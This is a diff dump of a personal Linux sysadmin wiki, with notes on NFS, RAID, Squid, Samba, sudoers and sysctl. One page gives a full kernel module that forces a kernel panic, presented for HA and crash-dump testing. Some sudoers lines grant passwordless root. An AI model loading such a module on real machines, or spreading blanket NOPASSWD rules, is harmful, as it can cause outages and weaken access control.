		+	* no_root_squash: By default, any file request made by user root on the client machine is treated as if it is made by user nobody on the server. (Excatly which UID the request is mapped to depends on the UID of user "nobody" on the server, not the client.) If no_root_squash is selected, then root on the client machine will have the same level of access to the files on the system as root on the server. This can have serious security implications, although it may be necessary if you want to perform any administrative work on the client machine that involves the exported directories. You should not specify this option without a good reason.
		+	* no_subtree_check: If only part of a volume is exported, a routine called subtree checking verifies that a file that is requested from the client is in the appropriate part of the volume. If the entire volume is exported, disabling this check will speed up transfers.
		+	* sync: By default the exportfs command will use async behavior, telling a client machine that a file write is complete - that is, has been written to stable storage - when NFS has finished handing the write over to the filesysytem. This behavior may cause data corruption if the server reboots, and the sync option prevents this.
		+
		+	Let NFS read and make /home available to the network with the exportfs command.
		+
		+	# exportfs -a
		+
		+	Make sure the required nfs, nfslock, and portmap daemons are running and configured to start after the next reboot.
		+
		+	# chkconfig nfslock on
		+	# chkconfig nfs on
		+	# chkconfig portmap on
		+
		+	# service portmap start
		+	# service nfslock start
		+	# service nfs start
		+
		+	==== Configuring The NFS Client ====
		+
		+	Make sure the required netfs, nfslock, and portmap daemons are running and configured to start after the next reboot.
		+
		+	# chkconfig nfslock on
		+	# chkconfig netfs on
		+	# chkconfig portmap on
		+
		+	# service portmap start
		+	# service netfs start
		+	# service nfslock start
		+
		+	Now mount the NFS (server) /home to this client
		+
		+	# mount server:/home /home/
		+
		+	Configure autofs edit your /etc/auto.master file to refer to file /etc/auto.home for mounting information whenever the /home directory is accessed. After five minutes, autofs unmounts the directory.
		+
		+	# vi /etc/auto.master
		+	/home /etc/auto.home --timeout 600
		+
		+	Edit file /etc/auto.home to do the NFS mount whenever the /home directory is accessed.
		+
		+	# vi /etc/auto.home
		+	* -fstype=nfs,soft,intr,rsize=8192,wsize=8192,nosuid,tcp server:/home/&

linux:oracle_xe_on_debian

1156183346		current
Line 2:		Line 2:

	original article taken from: [[http://itu.dk/people/atrakic//archives/2006/02/08/Oracle/index.html\|here]]		original article taken from: [[http://itu.dk/people/atrakic//archives/2006/02/08/Oracle/index.html\|here]]
		+
		+	see also: [[http://www.oracle.com/technology/pub/articles/smiley_10gdb_install.html\|Installing Oracle Database 10g Release 2 on Linux x86]]

	This document describes guide for installing Oracle 10g Express Edition (formaly known as HTML DB) on Debian based machines.		This document describes guide for installing Oracle 10g Express Edition (formaly known as HTML DB) on Debian based machines.

linux:panic

	current
Line 1:	Line 1:
	+	Sometimes it is useful to panic a linux machine, specially when testing various HA setups or kdump thingies.

	+	I found that "echo c > /proc/sysrq-trigger" is not enough. It produces a kernel dump but the machine keeps running. So I went with the more "hardcore" option: a kernel module that calls panic(). The idea is described in Linux Crash Howto, but here it is upgraded for the 2.6 kernel.
	+
	+	panic.c:
	+	#include <linux/kernel.h>
	+	#include <linux/module.h>
	+	#include <linux/init.h>
	+
	+	static int __init enter_module(void)
	+	{
	+	panic("forcing kernel panic.\n");
	+	return 0;
	+	}
	+
	+	static void __exit exit_module(void)
	+	{
	+	/* dead code here */
	+	printk("Bye!\n");
	+	}
	+
	+	module_init(enter_module);
	+	module_exit(exit_module);
	+
	+	MODULE_AUTHOR("John Doe");
	+	MODULE_LICENSE("GPL");
	+	MODULE_DESCRIPTION("Panic mode on!");
	+
	+
	+	Makefile:
	+	obj-m += panic.o
	+	all:
	+	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
	+	clean:
	+	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
	+
	+	Have kernel sources handy, put these two files in a directory of your liking and simply say "make". You're presented with a panic.ko, which you simply insmod to kill the machine.

linux:perc

1221123492		current
Line 4:		Line 4:
	* [[http://msmvps.com/blogs/onq/archive/2007/03/30/on-dell-s-perc-5-i.aspx\|On Dell's PERC 5/]]		* [[http://msmvps.com/blogs/onq/archive/2007/03/30/on-dell-s-perc-5-i.aspx\|On Dell's PERC 5/]]
	* [[http://linux.dell.com/debian_9g.shtml]]		* [[http://linux.dell.com/debian_9g.shtml]]
		+	* [[http://www.thegeekstuff.com/2008/11/how-to-manage-dell-servers-using-omsa-openmanage-server-administrator-on-linux/\|How To Manage Dell Servers using OMSA - OpenManage Server Administrator On Linux]]

linux:raid

1243204502		current
Line 56:		Line 56:

	echo check > /sys/block/md0/md/sync_action		echo check > /sys/block/md0/md/sync_action
		+
		+	===== active (auto-read-only) =====
		+
		+	md0 : active (auto-read-only) raid1 sda1[0] sdb1[1]
		+	1951744 blocks [2/2] [UU]
		+
		+	to fix:
		+
		+	# mdadm --readwrite /dev/md0

	===== Force the Linux kernel to re-read a partitiontable =====		===== Force the Linux kernel to re-read a partitiontable =====

linux:redhat

1206215739		current
Line 2:		Line 2:

	https://rhn.redhat.com/network/software/download_isos.pxt		https://rhn.redhat.com/network/software/download_isos.pxt
		+

	===== How do I set the real time scheduling priority of a process? =====		===== How do I set the real time scheduling priority of a process? =====
Line 18:		Line 19:
	Red Hat’s customer service and support teams receive technical support questions from users all over the world. Red Hat technicians add the questions and answers to Red Hat Knowledgebase on a daily basis. Access to Red Hat Knowledgebase is free. Red Hat Magazine offers a preview into the Red Hat Knowledgebase by highlighting some of the most recent entries. The information provided in this article is for your information only. The origin of this information may be internal or external to Red Hat. While Red Hat attempts to verify the validity of this information before it is posted, Red Hat makes no express or implied claims to its validity.		Red Hat’s customer service and support teams receive technical support questions from users all over the world. Red Hat technicians add the questions and answers to Red Hat Knowledgebase on a daily basis. Access to Red Hat Knowledgebase is free. Red Hat Magazine offers a preview into the Red Hat Knowledgebase by highlighting some of the most recent entries. The information provided in this article is for your information only. The origin of this information may be internal or external to Red Hat. While Red Hat attempts to verify the validity of this information before it is posted, Red Hat makes no express or implied claims to its validity.

		+	===== How do I set default password expiration for new accounts? =====
		+	To set the default password expiration when creating new accounts on Red Hat® Enterprise Linux®, edit the ''/etc/login.defs'' file.
		+
		+	For example, to set the default maximum number of days a password may be used, change the following parameter in ''login.defs'':
		+
		+	PASS_MAX_DAYS 30
		+
		+	To set the default number of days warning given before a password expires, change the following parameter in'' login.defs'':
		+
		+	PASS_WARN_AGE 7

		+	Please refer the man page of login.defs for more parameters about default password expiration.

linux:reiserfs

	current
Line 1:	Line 1:
	+	====== ReiserFS & Linux ======
	+
	+

linux:routing

1196431951		current
Line 2:		Line 2:

	tweak linux [[:linux:sysctl\|sysctl]], see [[:linux:sysctl#linux as router\|this]]		tweak linux [[:linux:sysctl\|sysctl]], see [[:linux:sysctl#linux as router\|this]]
		+
		+


Line 18:		Line 20:
	ip rule add from x.x.x.2 table link1		ip rule add from x.x.x.2 table link1
	ip rule add from z.z.z.20 table link2		ip rule add from z.z.z.20 table link2
		+
		+	to create rule that covers the whole interface (or even per port) and inbound traffic
		+
		+	<note important>Be careful if you're using 26sec ipsec stack. The ipsec inbound interface is the same as physical one and you'll be having problems with ipsec routing table</note>
		+
		+	iptables -t mangle -I PREROUTING -i vlan501 -j MARK --set-mark 0x1
		+	iptables -t mangle -I PREROUTING -i vla2510 -j MARK --set-mark 0x2
		+	ip rule add fwmark 0x1 table table link1
		+	ip rule add fwmark 0x2 table table link2
		+

	===== same-alternative method =====		===== same-alternative method =====

linux:rpm

1218192452		current
Line 31:		Line 31:
	Mass uninstall of packages that match a pattern:		Mass uninstall of packages that match a pattern:
	rpm -qa \| grep pattern \| xargs rpm -e		rpm -qa \| grep pattern \| xargs rpm -e
		+
		+	How to extract contents of an RPM package
		+	rpm2cpio package.rpm \| cpio -dimv
		+
		+	As the name implies, rpm2cpio takes an RPM package file and converts it to a cpio archive. The -i flag to the cpio command indicates that cpio is reading in the archive to extract files, and the -d flag tells cpio to construct directories as necessary. The -v flag tells cpio to list file names as files are extracted, and the -m flag tells cpio to retain previous file modification times when creating files.

	===== Building a dummy/empty RPM =====		===== Building a dummy/empty RPM =====

linux:samba

1264783632		current
Line 16:		Line 16:
	add machine script = /usr/sbin/useradd -n -g machines -d /dev/null -s /sbin/nologin %u		add machine script = /usr/sbin/useradd -n -g machines -d /dev/null -s /sbin/nologin %u

		+
		+	<pre>
		+	@ECHO OFF
		+	if %username%==GOST goto izhod
		+	NET USE Z: /HOME /YES
		+	NET USE G: \\SERVER\USERS
		+	NET USE H: \\SERVER\MEDIA
		+	NET TIME \\SERVER /SET /YES
		+	:izhod
		+	</pre>
		+
	<html><pre>		<html><pre>
	pdbedit --pwd-must-change-time=timestamp username		pdbedit --pwd-must-change-time=timestamp username

linux:security

1276602147		current
Line 1:		Line 1:
	====== Linux Security Links & Stuff ======		====== Linux Security Links & Stuff ======

-	* [http://wiki.debian.org/Hardening\|Debian hardening]	+	* [[http://wiki.debian.org/Hardening\|Debian hardening]]
-	* [https://wiki.ubuntu.com/Security/Features\|Security/Features in Ubuntu]]	+	* [[https://wiki.ubuntu.com/Security/Features\|Security/Features in Ubuntu]]

linux:sidebar

1264590763		current
Line 43:		Line 43:
	* [[:linux:evil\|Evil Linux code]]		* [[:linux:evil\|Evil Linux code]]
	* [[:vmware:tuning-guide\|Linux Virtual Machine Tuning Guide]]		* [[:vmware:tuning-guide\|Linux Virtual Machine Tuning Guide]]
		+	* [[:iscsi#linux\|iSCSI in linux]]

	====== elsewhere ======		====== elsewhere ======

linux:smartarray

1148249247		current
Line 35:		Line 35:
	logicaldrive 1 (273 GB, RAID 5): Ok		logicaldrive 1 (273 GB, RAID 5): Ok

-		+	==== HP Servers: hwraidinfo and hwraidstatus in Linux ====
		+
		+	#!/bin/sh
		+	SLOTLIST=$(hpacucli ctrl all show \| \
		+	*grep Slot \| sed -e 's/^.Slot //g' -e 's/ .$//g')*
		+	for i in $SLOTLIST
		+	do
		+	echo
		+	hpacucli ctrl slot=$i show \| grep -v "^$"
		+	echo
		+	hpacucli ctrl slot=$i ld all show \| grep -v "^$"
		+	hpacucli ctrl slot=$i pd all show \| grep -v "^$"
		+	done
		+	echo
		+
		+	And here is the script equivalent of hwraidstatus:
		+
		+	#!/bin/sh
		+	SLOTLIST=$(hpacucli ctrl all show \| \
		+	*grep Slot \| sed -e 's/^.Slot //g' -e 's/ .$//g')*
		+	for i in $SLOTLIST
		+	do
		+	echo
		+	hpacucli ctrl slot=$i show status \| grep -v "^$"
		+	echo
		+	hpacucli ctrl slot=$i ld all show status \| grep -v "^$"
		+	hpacucli ctrl slot=$i pd all show status \| grep -v "^$"
		+	done
		+	echo

linux:squid

1243204502		current
Line 1:		Line 1:
		+	====== Squid ( web-cache proxy ) ======
		+
	* Viralator (http://viralator.sourceforge.net/ - Squid + Perl skript)		* Viralator (http://viralator.sourceforge.net/ - Squid + Perl skript)
	* squid-vscan (http://sourceforge.net/project/showfiles.php?group_id=10590&release_id=68273)		* squid-vscan (http://sourceforge.net/project/showfiles.php?group_id=10590&release_id=68273)
Line 87:		Line 89:
	After making changes like the ones above, my Squid's byte hit rate increased from about 8% to between 26-37%. If you are doing 33%, it means a third of all traffic is coming from your cache, and not from slower links across the Internet.		After making changes like the ones above, my Squid's byte hit rate increased from about 8% to between 26-37%. If you are doing 33%, it means a third of all traffic is coming from your cache, and not from slower links across the Internet.

		+	===== Proxy AIM, MSN, Gtalk, .. =====
		+	To proxy and to allow AIM, MSN, Yahoo and GTalk Instant Messenger traffic via with Squid, change/add the following line in the Squid configuration file.
		+
		+	# Allow AIM protocols
		+	<code>
		+	acl AIM_ports port 5190 9898 6667
		+	acl AIM_domains dstdomain .oscar.aol.com .blue.aol.com .freenode.net
		+	acl AIM_domains dstdomain .messaging.aol.com .aim.com
		+	acl AIM_hosts dstdomain login.oscar.aol.com login.glogin.messaging.aol.com toc.oscar.aol.com irc.freenode.net
		+	acl AIM_nets dst 64.12.0.0/255.255.0.0
		+	acl AIM_methods method CONNECT
		+	http_access allow AIM_methods AIM_ports AIM_nets
		+	http_access allow AIM_methods AIM_ports AIM_hosts
		+	http_access allow AIM_methods AIM_ports AIM_domains
		+	</code>
		+
		+	# Allow Yahoo Messenger
		+	<code>
		+	acl YIM_ports port 5050
		+	acl YIM_domains dstdomain .yahoo.com .yahoo.co.jp
		+	acl YIM_hosts dstdomain scs.msg.yahoo.com cs.yahoo.co.jp
		+	acl YIM_methods method CONNECT
		+	http_access allow YIM_methods YIM_ports YIM_hosts
		+	http_access allow YIM_methods YIM_ports YIM_domains
		+	</code>
		+
		+	# Allow GTalk
		+	<code>
		+	acl GTALK_ports port 5222 5050
		+	acl GTALK_domains dstdomain .google.com
		+	acl GTALK_hosts dstdomain talk.google.com
		+	acl GTALK_methods method CONNECT
		+	http_access allow GTALK_methods GTALK_ports GTALK_hosts
		+	http_access allow GTALK_methods GTALK_ports GTALK_domains
		+	</code>

		+	# Allow MSN
		+	<code>
		+	acl MSN_ports port 1863 443 1503
		+	acl MSN_domains dstdomain .microsoft.com .hotmail.com .live.com .msft.net .msn.com .passport.com
		+	acl MSN_hosts dstdomain messenger.hotmail.com
		+	acl MSN_nets dst 207.46.111.0/255.255.255.0
		+	acl MSN_methods method CONNECT
		+	http_access allow MSN_methods MSN_ports MSN_hosts
		+	</code>

linux:sudo

1167696893		current
Line 1:		Line 1:
		+	====== SUDO tips and tricks ======
		+
		+
	username ALL=PASSWD: ALL; NOPASSWD: /usr/bin/ssh		username ALL=PASSWD: ALL; NOPASSWD: /usr/bin/ssh

Line 5:		Line 8:
	foo ALL=(ALL) NOPASSWD: ALL		foo ALL=(ALL) NOPASSWD: ALL

		+	===== How do I run a script as a certain user when it is called by another user with sudo? =====
		+
		+
		+
		+	If a script that has been written needs to be run as a particular user, the /etc/sudoers file needs to be modified to include default user options.
		+
		+	Edit the /etc/sudoers file by invoking:
		+
		+	#visudo
		+
		+	In this example, SCRIPT1 is the script that will be executed. TESTUSER is the alias of users who have permission to execute the script via sudo and test is the user that the script must be run as.
		+
		+	Cmnd_Alias SCRIPT1=/bin/blah.sh
		+	User_Alias TESTUSER=test,test1,test2
		+	Defaults:TESTUSER runas_default=test
		+	TESTUSER ALL=NOPASSWD: SCRIPT1
		+
		+	If the sudo /bin/blah.sh command is invoked by the test, test1, or test2 users it will run as user test.

linux:sysctl

1222086298		current
Line 1:		Line 1:
	====== Linux sysctl options ======		====== Linux sysctl options ======
		+


Line 96:		Line 97:
	# reboot on panic		# reboot on panic
	kernel.panic = 5		kernel.panic = 5
		+
		+	#net.core.somaxconn=512
	</code>		</code>

linux:syslog

	current
Line 1:	Line 1:
	+	for remote logging use syslog-ng

	+	Ce zelis da l lokalni syslog pisejo ostali racunalnik ga pozeni z ukazom "-r"
	+
	+	Ce ne zelis imeti --MARK--, potem klici syslog s komando "-m 0"

linux:thinkpad

	current
Line 1:	Line 1:
	+	<html>
	+	<a href="http://www.thinkwiki.org/">
	+	<img src="http://banner.thinkwiki.org/thinkwiki_logo_140x55.png"
	+	border="0" width="140" height="55"
	+	alt="ThinkWiki - The Linux Thinkpad Wiki"></a></html>

linux:tips

1248356901		current
Line 300:		Line 300:
	* If you want kernel to swap out more process memory and thus cache more file contents increase the value. Otherwise, if you would like kernel to swap less decrease it.		* If you want kernel to swap out more process memory and thus cache more file contents increase the value. Otherwise, if you would like kernel to swap less decrease it.
	* More info [[http://lwn.net/Articles/83588/\|2.6 swapping behavior]]		* More info [[http://lwn.net/Articles/83588/\|2.6 swapping behavior]]
		+
		+	Example:
		+	* ''swappiness=0'' tells the kernel to avoid swapping processes out of physical memory for as long as possible
		+	* ''swappiness=100'' tells the kernel to aggressively swap processes out of physical memory and move them to swap cache
		+	* A value of ''swappiness=10'' is recommended, but feel free to experiment.
		+

	===== Getting rid of that obsolete delay after password authentication =====		===== Getting rid of that obsolete delay after password authentication =====

linux:ubuntu

1243204502		current
Line 3:		Line 3:
	# update-alternatives --config editor		# update-alternatives --config editor

		+	=== Disabling compcache in Ubuntu Jaunty (and Related Swap Errors) ===
		+
		+	This bug can also be seen if you are seeing errors like these:
		+
		+	<code>
		+	Mar 6 17:27:29 server kernel: [14438.135859] compcache: Error allocating memory for compressed page: 60594, size=4096
		+	Mar 6 17:27:29 server kernel: [14438.135871] Write-error on swap-device (254:0:484752)
		+	Mar 6 17:27:29 server kernel: [14438.136813] allocation failed: out of vmalloc space - use vmalloc= to increase size.
		+	Mar 6 17:27:29 server kernel: [14438.136824] compcache: Error allocating memory for compressed page: 60595, size=2093
		+	Mar 6 17:27:29 server kernel: [14438.136835] Write-error on swap-device (254:0:484760)
		+	Mar 6 17:27:29 server kernel: [14438.137088] allocation failed: out of vmalloc space - use vmalloc= to increase size.
		+	Mar 6 17:27:29 server kernel: [14438.137098] compcache: Error allocating memory for compressed page: 60596, size=4079
		+	Mar 6 17:27:29 server kernel: [14438.137108] Write-error on swap-device (254:0:484768)
		+	</code>
		+
		+	You can also see it when you print swap information with the command swapon -s – if compcache is enabled, one of the swap entries will be “ramzswap”.
		+
		+	To disable compcache completely, do this:
		+
		+	rm -f /usr/share/initramfs-tools/conf.d/compcache && update-initramfs -u
		+
		+	The file compcache contains this line – which is what enables (and sizes) compcache:
		+
		+	COMPCACHE_SIZE="25%"

1264708454		current
Line 1:		Line 1:
	[[linux:firewall6\|Linux IPV6 firewall]]\\		[[linux:firewall6\|Linux IPV6 firewall]]\\
-	[[linux:firewall_blocktor\| how to block TOR networ in realtime]]\\	+	[[linux:firewall_blocktor\| how to block TOR network in realtime]]\\
	[[http://www.fs-security.com/\|FS security]]\\		[[http://www.fs-security.com/\|FS security]]\\